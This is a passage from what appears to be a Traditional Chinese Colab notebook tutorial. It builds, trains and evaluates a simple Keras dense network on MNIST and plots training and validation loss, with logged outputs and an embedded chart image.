227 | "base_uri": "https://localhost:8080/",
228 | "height": 34
229 | }
230 | },
231 | "source": [
232 | "test_images.shape"
233 | ],
234 | "execution_count": 6,
235 | "outputs": [
236 | {
237 | "output_type": "execute_result",
238 | "data": {
239 | "text/plain": [
240 | "(10000, 28, 28)"
241 | ]
242 | },
243 | "metadata": {
244 | "tags": []
245 | },
246 | "execution_count": 6
247 | }
248 | ]
249 | },
250 | {
251 | "cell_type": "code",
252 | "metadata": {
253 | "id": "XGp_yAo6sWtQ",
254 | "colab_type": "code",
255 | "outputId": "5462040d-7ec8-42d8-a1d0-40029559e4b0",
256 | "colab": {
257 | "base_uri": "https://localhost:8080/",
258 | "height": 34
259 | }
260 | },
261 | "source": [
262 | "len(test_labels)"
263 | ],
264 | "execution_count": 7,
265 | "outputs": [
266 | {
267 | "output_type": "execute_result",
268 | "data": {
269 | "text/plain": [
270 | "10000"
271 | ]
272 | },
273 | "metadata": {
274 | "tags": []
275 | },
276 | "execution_count": 7
277 | }
278 | ]
279 | },
280 | {
281 | "cell_type": "code",
282 | "metadata": {
283 | "id": "g3nyU7gR4yuH",
284 | "colab_type": "code",
285 | "colab": {
286 | "base_uri": "https://localhost:8080/",
287 | "height": 34
288 | },
289 | "outputId": "e8d2e3b1-0d8e-4b9f-8bf2-532ab5d135ac"
290 | },
291 | "source": [
292 | "test_labels\n"
293 | ],
294 | "execution_count": 8,
295 | "outputs": [
296 | {
297 | "output_type": "execute_result",
298 | "data": {
299 | "text/plain": [
300 | "array([7, 2, 1, ..., 4, 5, 6], dtype=uint8)"
301 | ]
302 | },
303 | "metadata": {
304 | "tags": []
305 | },
306 | "execution_count": 8
307 | }
308 | ]
309 | },
310 | {
311 | "cell_type": "markdown",
312 | "metadata": {
313 | "id": "fYDVLFoJ410s",
314 | "colab_type": "text"
315 | },
316 | "source": [
317 | "## 建立準備訓練的神經網路"
318 | ]
319 | },
320 | {
321 | "cell_type": "code",
322 | "metadata": {
323 | "id": "RwoYg6Q2sWtY",
324 | "colab_type": "code",
325 | "colab": {}
326 | },
327 | "source": [
328 | "from keras import models\n",
329 | "from keras import layers\n",
330 | "\n",
331 | "network = models.Sequential()\n",
332 | "network.add(layers.Dense(512, activation='relu', input_shape=(28 * 28,)))\n",
333 | "network.add(layers.Dense(10, activation='softmax'))"
334 | ],
335 | "execution_count": 0,
336 | "outputs": []
337 | },
338 | {
339 | "cell_type": "markdown",
340 | "metadata": {
341 | "id": "o32o6XjqsWtb",
342 | "colab_type": "text"
343 | },
344 | "source": [
345 | "上面這裡是神經網路的核心組成方式,我們在全連接層建立了兩層,由一個有 512 個神經元的網路架構連接到 10 個神經元的輸出層。輸出層採用 softmax 表示數字 0~9 的機率分配,這 10 個數字的總和將會是 1。以下將我們建立的網路進行 compile,這裡詳細的參數以後會介紹。"
346 | ]
347 | },
348 | {
349 | "cell_type": "code",
350 | "metadata": {
351 | "id": "IM_H7xf8sWtc",
352 | "colab_type": "code",
353 | "colab": {}
354 | },
355 | "source": [
356 | "network.compile(optimizer='rmsprop',\n",
357 | " loss='categorical_crossentropy',\n",
358 | " metrics=['accuracy'])"
359 | ],
360 | "execution_count": 0,
361 | "outputs": []
362 | },
363 | {
364 | "cell_type": "markdown",
365 | "metadata": {
366 | "id": "8DgKZNqNsWtf",
367 | "colab_type": "text"
368 | },
369 | "source": [
370 | "\n",
371 | "以下將資料正規劃成為 0~1 的數值,變成 60000, 28x28 Shape 好送進上面定義的網路輸入層。"
372 | ]
373 | },
374 | {
375 | "cell_type": "code",
376 | "metadata": {
377 | "id": "CwlXFOF4sWtf",
378 | "colab_type": "code",
379 | "colab": {}
380 | },
381 | "source": [
382 | "fix_train_images = train_images.reshape((60000, 28 * 28)).astype('float32') / 255\n",
383 | "fix_test_images = test_images.reshape((10000, 28 * 28)).astype('float32') / 255"
384 | ],
385 | "execution_count": 0,
386 | "outputs": []
387 | },
388 | {
389 | "cell_type": "markdown",
390 | "metadata": {
391 | "id": "7fMWx4uusWtj",
392 | "colab_type": "text"
393 | },
394 | "source": [
395 | "由於我們使用的 categorical_crossentropy 損失函數,因此將標記資料進行格式轉換。如下:"
396 | ]
397 | },
398 | {
399 | "cell_type": "code",
400 | "metadata": {
401 | "id": "NpzKOM4IsWtj",
402 | "colab_type": "code",
403 | "colab": {}
404 | },
405 | "source": [
406 | "from keras.utils import to_categorical\n",
407 | "\n",
408 | "fix_train_labels = to_categorical(train_labels)\n",
409 | "fix_test_labels = to_categorical(test_labels)"
410 | ],
411 | "execution_count": 0,
412 | "outputs": []
413 | },
414 | {
415 | "cell_type": "markdown",
416 | "metadata": {
417 | "id": "4BneVUiWsWtl",
418 | "colab_type": "text"
419 | },
420 | "source": [
421 | "進行訓練模型,訓練中的正確率應該會在 0.989 左右"
422 | ]
423 | },
424 | {
425 | "cell_type": "code",
426 | "metadata": {
427 | "id": "hyAErT-lsWtm",
428 | "colab_type": "code",
429 | "outputId": "93f97af7-420f-401e-8420-9941e9fff748",
430 | "colab": {
431 | "base_uri": "https://localhost:8080/",
432 | "height": 714
433 | }
434 | },
435 | "source": [
436 | "result = network.fit(\n",
437 | " fix_train_images,\n",
438 | " fix_train_labels,\n",
439 | " epochs=20,\n",
440 | " batch_size=128,\n",
441 | " validation_data=(fix_test_images, fix_test_labels))"
442 | ],
443 | "execution_count": 13,
444 | "outputs": [
445 | {
446 | "output_type": "stream",
447 | "text": [
448 | "Train on 60000 samples, validate on 10000 samples\n",
449 | "Epoch 1/20\n",
450 | "60000/60000 [==============================] - 4s 63us/step - loss: 0.2536 - accuracy: 0.9264 - val_loss: 0.1373 - val_accuracy: 0.9574\n",
451 | "Epoch 2/20\n",
452 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.1035 - accuracy: 0.9682 - val_loss: 0.0968 - val_accuracy: 0.9688\n",
453 | "Epoch 3/20\n",
454 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0677 - accuracy: 0.9797 - val_loss: 0.0817 - val_accuracy: 0.9750\n",
455 | "Epoch 4/20\n",
456 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0488 - accuracy: 0.9852 - val_loss: 0.0690 - val_accuracy: 0.9797\n",
457 | "Epoch 5/20\n",
458 | "60000/60000 [==============================] - 2s 34us/step - loss: 0.0376 - accuracy: 0.9886 - val_loss: 0.0673 - val_accuracy: 0.9789\n",
459 | "Epoch 6/20\n",
460 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0289 - accuracy: 0.9913 - val_loss: 0.0658 - val_accuracy: 0.9793\n",
461 | "Epoch 7/20\n",
462 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0226 - accuracy: 0.9936 - val_loss: 0.0630 - val_accuracy: 0.9822\n",
463 | "Epoch 8/20\n",
464 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0169 - accuracy: 0.9953 - val_loss: 0.0641 - val_accuracy: 0.9823\n",
465 | "Epoch 9/20\n",
466 | "60000/60000 [==============================] - 2s 37us/step - loss: 0.0138 - accuracy: 0.9961 - val_loss: 0.0695 - val_accuracy: 0.9820\n",
467 | "Epoch 10/20\n",
468 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0099 - accuracy: 0.9973 - val_loss: 0.0698 - val_accuracy: 0.9815\n",
469 | "Epoch 11/20\n",
470 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0081 - accuracy: 0.9977 - val_loss: 0.0744 - val_accuracy: 0.9807\n",
471 | "Epoch 12/20\n",
472 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0062 - accuracy: 0.9983 - val_loss: 0.0732 - val_accuracy: 0.9815\n",
473 | "Epoch 13/20\n",
474 | "60000/60000 [==============================] - 2s 37us/step - loss: 0.0049 - accuracy: 0.9987 - val_loss: 0.0704 - val_accuracy: 0.9829\n",
475 | "Epoch 14/20\n",
476 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0042 - accuracy: 0.9990 - val_loss: 0.0785 - val_accuracy: 0.9815\n",
477 | "Epoch 15/20\n",
478 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0030 - accuracy: 0.9991 - val_loss: 0.0785 - val_accuracy: 0.9830\n",
479 | "Epoch 16/20\n",
480 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0027 - accuracy: 0.9992 - val_loss: 0.0797 - val_accuracy: 0.9829\n",
481 | "Epoch 17/20\n",
482 | "60000/60000 [==============================] - 2s 35us/step - loss: 0.0018 - accuracy: 0.9995 - val_loss: 0.0809 - val_accuracy: 0.9831\n",
483 | "Epoch 18/20\n",
484 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0018 - accuracy: 0.9995 - val_loss: 0.0830 - val_accuracy: 0.9826\n",
485 | "Epoch 19/20\n",
486 | "60000/60000 [==============================] - 2s 36us/step - loss: 0.0011 - accuracy: 0.9997 - val_loss: 0.0895 - val_accuracy: 0.9826\n",
487 | "Epoch 20/20\n",
488 | "60000/60000 [==============================] - 2s 35us/step - loss: 8.4929e-04 - accuracy: 0.9998 - val_loss: 0.0853 - val_accuracy: 0.9835\n"
489 | ],
490 | "name": "stdout"
491 | }
492 | ]
493 | },
494 | {
495 | "cell_type": "markdown",
496 | "metadata": {
497 | "id": "EtDNcx_4sWto",
498 | "colab_type": "text"
499 | },
500 | "source": [
501 | "將訓練後的模型輸入測試資料進行評比,一般說這樣的正確率應該會在 0.977% 左右"
502 | ]
503 | },
504 | {
505 | "cell_type": "code",
506 | "metadata": {
507 | "id": "hGoUFvzSsWto",
508 | "colab_type": "code",
509 | "outputId": "9f3f3817-3112-41ad-ef11-d239ad5476b5",
510 | "colab": {
511 | "base_uri": "https://localhost:8080/",
512 | "height": 68
513 | }
514 | },
515 | "source": [
516 | "test_loss, test_acc = network.evaluate(fix_test_images, fix_test_labels)\n",
517 | "print('test_loss:', test_loss)\n",
518 | "print('test_acc:', test_acc)"
519 | ],
520 | "execution_count": 14,
521 | "outputs": [
522 | {
523 | "output_type": "stream",
524 | "text": [
525 | "10000/10000 [==============================] - 1s 77us/step\n",
526 | "test_loss: 0.08534976623827886\n",
527 | "test_acc: 0.9835000038146973\n"
528 | ],
529 | "name": "stdout"
530 | }
531 | ]
532 | },
533 | {
534 | "cell_type": "markdown",
535 | "metadata": {
536 | "id": "K4MCrO1osWts",
537 | "colab_type": "text"
538 | },
539 | "source": [
540 | "\n",
541 | "為什麽訓練時的正確率會高於驗證測試呢?在這樣數據中,由於模型訓練時對訓練資料造成些微的過度擬合 (Over Fitting) 。一般來說這樣的情況是正常的,未來我們可以透過參數的調整或其他方法提高正確性。"
542 | ]
543 | },
544 | {
545 | "cell_type": "markdown",
546 | "metadata": {
547 | "id": "Dy8b_Ll13xCA",
548 | "colab_type": "text"
549 | },
550 | "source": [
551 | "# 透過圖表協助分析訓練過程\n",
552 | "\n",
553 | "由於訓練 Model 時會進行好幾次的 Epoch,每一次 Epoch 都是對訓練資料集進行一輪完整的訓練,妥善觀察每一次 Epoch 的數據是很重要地。我們可以透過 matplotlib 函式庫繪製圖表,幫我們進行分析。\n",
554 | "\n",
555 | "以下方式可以繪製訓練過程 Loss Function 對應的損失分數。Validation loss 不一定會跟隨 Training loss 一起降低,當 Model Over Fitting Train Data 時,就會發生 Validation loss 上升的情況。"
556 | ]
557 | },
558 | {
559 | "cell_type": "code",
560 | "metadata": {
561 | "id": "5H3F5lUS1Anl",
562 | "colab_type": "code",
563 | "outputId": "61bde1da-00f5-48a7-9b1d-887e79ae7a40",
564 | "colab": {
565 | "base_uri": "https://localhost:8080/",
566 | "height": 295
567 | }
568 | },
569 | "source": [
570 | "history_dict = result.history\n",
571 | "\n",
572 | "loss_values = history_dict['loss']\n",
573 | "val_loss_values = history_dict['val_loss']\n",
574 | "epochs = range(1, len(loss_values) + 1)\n",
575 | "\n",
576 | "import matplotlib.pyplot as plt\n",
577 | "plt.plot(epochs, loss_values, 'bo', label='Training loss')\n",
578 | "plt.plot(epochs, val_loss_values, 'b', label='Validation loss')\n",
579 | "plt.title('Training and validation loss')\n",
580 | "plt.xlabel('Epochs')\n",
581 | "plt.ylabel('Loss')\n",
582 | "plt.legend()\n",
583 | "\n",
584 | "plt.show()\n"
585 | ],
586 | "execution_count": 15,
587 | "outputs": [
588 | {
589 | "output_type": "display_data",
590 | "data": {
591 | "image/png": "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2LJlCyNHjuT999/HzNizZ0/sNhdccAH169enfv36tGnThg0bNtC+fdFKjQEDBhyY16dPH9auXUvjxo3p3LnzgfsLhg8fzvTp00uN77XXXjuQpM466yw2bdrE1q1bGTRoELfccgsjRozgkksuoX379vTv35/Ro0ezZ88eLrroIvr06VOhY3MkUlnFtB7okDTdPppXhJl9DZgIDHX3Aw+bd/f10esaYB6Ql8JYRSTF0tnm16hRowPjP/rRjzjzzDN55513eO6550q8F6B+/foHxmvXrh3bflGWdSpiwoQJPPLII+zcuZNBgwaxYsUKzjjjDObPn0+7du0YNWoUv/nNbyr1PUuTygSxCOhiZp3MrB5wJVDkaiQzywMeIiSHT5PmNzez+tF4K2AQ8G4KYxWRFMtUm9+WLVto164dAI8//nil779bt26sWbOGtWvXAvDkk08edpvTTz+dGVHjy7x582jVqhVNmzZl9erV9OzZk+9///v079+fFStWsG7dOo4++miuvfZarrnmGpYsWVLpf0NJUpYg3H0v8F1gNvAe8JS7LzezKWaWuCrpbqAx8Mdil7OeCBSY2VvAXEIbhBKESBU2YgRMnw65uWAWXqdPT30V7+23384dd9xBXl5epf/iB2jQoAEPPPAAQ4YMoV+/fjRp0oRmzZqVus3kyZNZvHgxvXr1YsKECTzxxBMA3HPPPZx00kn06tWLunXrct555zFv3jx69+5NXl4eTz75JDfddFOl/w0lqTbPpM7Pz3c9MEgkvd577z1OPPHETIeRcdu3b6dx48a4O9dffz1dunRh/PjxmQ7rEHGfl5ktdvf8uPVr9J3UIiKV4eGHH6ZPnz706NGDLVu2cN1112U6pEqRFVcxiYhUZePHj8/KEkNFqQQhIiKxlCBERCSWEoSIiMRSghARkVhKECJSZZ155pnMnj27yLx77rmHcePGlbjN4MGDSVwSf/755/PFF18css7kyZOZNm1aqe89a9Ys3n334O1Zd955Jy+//PKRhB8rm7oFV4IQkSpr+PDhzJw5s8i8mTNnlqnDPAi9sB511FHleu/iCWLKlCl87WtfK9e+spUShIhUWZdeeinPP//8gYcDrV27lo8++ojTTz+dcePGkZ+fT48ePZg0aVLs9h07duSzzz4DYOrUqXTt2pXTTjvtQJfgEO5x6N+/P7179+Yb3/gGO3bsYOHChTz77LPcdttt9OnTh9WrVzNq1CiefvppAF555RXy8vLo2bMno0ePZvfu3Qfeb9KkSfTt25eePXuyYsWKUv++THcLrvsgRKRS3HwzLF1aufvs0wfuuafk5S1atGDAgAG8+OKLDBs2jJkzZ3L55ZdjZkydOpUWLVqwb98+zj77bJYtW0avXr1i97N48WJmzpzJ0qVL2bt3L3379qVfv34AXHLJJVx77bUA/PCHP+TRRx/lhhtuYOjQoVx44YVceumlRfa1a9cuRo0axSuvvELXrl25+uqr+dWvfsXNN98MQKtWrViyZAkPPPAA06ZN45FHHinx78t0t+AqQYhIlZZczZRcvfTUU0/Rt29f8vLyWL58eZHqoOIWLFjAxRdfTMOGDWnatClDhx58iOU777zD6aefTs+ePZkxYwbLly8vNZ6VK1fSqVMnunbtCsDIkSOZP3/+geWXXHIJAP369TvQwV9JXnvtNa666iogvlvwe++9ly+++II6derQv39/HnvsMSZPnszbb79NkyZNSt13WagEISKVorRf+qk0bNgwxo8fz5IlS9ixYwf9+vXjP//5D9OmTWPRokU0b96cUaNGldjN9+GMGjWKWbNm0bt3bx5//HHmzZtXoXgTXYZXpLvwCRMmcMEFF/DCCy8waNAgZs+efaBb8Oeff55Ro0Zxyy23cPXVV1coVpUgRKRKa9y4MWeeeSajR48+UHrYunUrjRo1olmzZmzYsIEXX3yx1H2cccYZzJo1i507d7Jt2zaee+65A8u2bdvGsccey549ew500Q3QpEkTtm3bdsi+unXrxtq1a1m1ahUAv/3tb/nqV796yHplkeluwVWCEJEqb/jw4Vx88cUHqpoS3WOfcMIJdOjQgUGDBpW6fd++fbniiivo3bs3bdq0oX///geW3XXXXQwcOJDWrVszcODAA0nhyiuv5Nprr+Xee+890DgNkJOTw2OPPcZll13G3r176d+/P2PHji3X35V4VnavXr1o2LBhkW7B586dS61atejRowfnnXceM2fO5O6776Zu3bo0bty4Uh4spO6+RaTc1N131aLuvkVEpFIoQYiISCwlCBGpkOpSTV3dledzUoIQkXLLyclh06ZNShJZzt3ZtGkTOTk5R7SdrmISkXJr3749hYWFbNy4MdOhyGHk5OTQvn37I9pGCUJEyq1u3bp0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